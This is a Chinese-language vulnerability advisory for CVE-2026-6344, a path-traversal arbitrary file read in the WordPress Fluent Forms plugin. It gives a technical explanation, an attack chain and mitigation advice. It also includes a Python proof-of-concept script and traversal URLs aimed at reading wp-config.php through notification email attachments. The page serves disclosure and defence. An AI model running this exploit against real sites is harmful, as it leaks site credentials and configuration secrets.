IPBUF安全漏洞报告
English
CVE-2026-6344 CVSS 4.9 中危

CVE-2026-6344 WordPress Fluent Forms 任意文件读取漏洞

披露日期: 2026-05-06

漏洞信息

漏洞编号
CVE-2026-6344
漏洞类型
任意文件读取
CVSS评分
4.9 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Fluent Forms WordPress 插件

相关标签

任意文件读取WordPressFluent Forms路径遍历CVE-2026-6344

漏洞概述

WordPress Fluent Forms 插件在 6.2.1 及之前版本中存在任意文件读取漏洞。该漏洞源于 EmailNotificationActions 类的路径验证逻辑缺陷,未能有效限制文件解析范围。攻击者可利用路径遍历序列绕过安全检查,将恶意构造的 URL 解析为系统任意路径。具有管理员权限的认证攻击者可借此读取 Web 服务器用户可读的任意文件,包括配置文件等敏感信息。

技术细节

漏洞核心在于 EmailNotificationActions.php 的 getAttachments() 方法对文件路径验证的不严谨。当管理员配置表单通知包含文件上传字段时,该方法接收用户输入的 URL 并尝试将其转换为本地文件路径以作为邮件附件。代码仅依赖 strpos() 检查 URL 字符串前缀,未对解析后的物理路径进行边界验证。攻击者可构造包含 ../ 或 .\..\ 遍历序列的形如 <upload_baseurl>/../../<target> 的 URL。由于 wp_normalize_path() 无法正确标准化 .\..\ 序列,前缀检查被绕过。最终 file_exists() 调用时,操作系统内核解析出真实的敏感文件路径(如 wp-config.php),并将其通过 wp_mail() 作为附件发送给管理员,从而实现文件读取。

攻击链分析

STEP 1
侦查
攻击者识别目标网站使用了 WordPress Fluent Forms 插件,且版本在 6.2.1 及以下。
STEP 2
认证
攻击者获取网站管理员权限账号(漏洞利用需要高权限 PR:H)。
STEP 3
漏洞利用
攻击者提交一个表单,在文件上传字段中构造包含路径遍历序列(如 ../../)的恶意 URL(例如 <upload_baseurl>/../../wp-config.php)。
STEP 4
路径解析
服务器端 getAttachments() 方法验证 URL 前缀时被绕过,file_exists() 在内核层级解析路径,定位到敏感文件。
STEP 5
信息泄露
系统将敏感文件(如 wp-config.php)作为附件发送给管理员的邮箱,攻击者等待邮件接收或通过其他方式获取泄露的凭证。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # PoC for CVE-2026-6344: WordPress Fluent Forms Arbitrary File Read # There Authentication (Admin) is required (PR:H) import requests TARGET_URL = "http://example.com/wp-admin/admin-ajax.php" ADMIN_COOKIE = "wordpress_logged_in_xxx=..." # The payload exploiting path normalization issue # Bypasses strpos check and resolves via file_exists() at kernel level # Targeting wp-config.php malicious_file_url = "http://example.com/wp-content/uploads/../../wp-config.php" payload = { "action": "fluentform_submit", "form_id": "1", # Injecting the malicious URL into the file upload field "data[files][input_file]": malicious_file_url } headers = { "Cookie": ADMIN_COOKIE, "Content-Type": "application/x-www-form-urlencoded" } response = requests.post(TARGET_URL, data=payload, headers=headers) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Check the administrator's email inbox for the notification email.") print("[+] The attachment should contain the contents of wp-config.php.") else: print("[-] Request failed.")

影响范围

Fluent Forms <= 6.2.1

防御指南

临时缓解措施
建议立即将 Fluent Forms 插件升级至最新版本以修复路径验证逻辑。若无法立即升级,应暂时禁用涉及文件附件的邮件通知功能,或配置 Web 应用防火墙(WAF)规则,拦截包含路径遍历字符(如 '../' 或 '..\')的请求参数。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表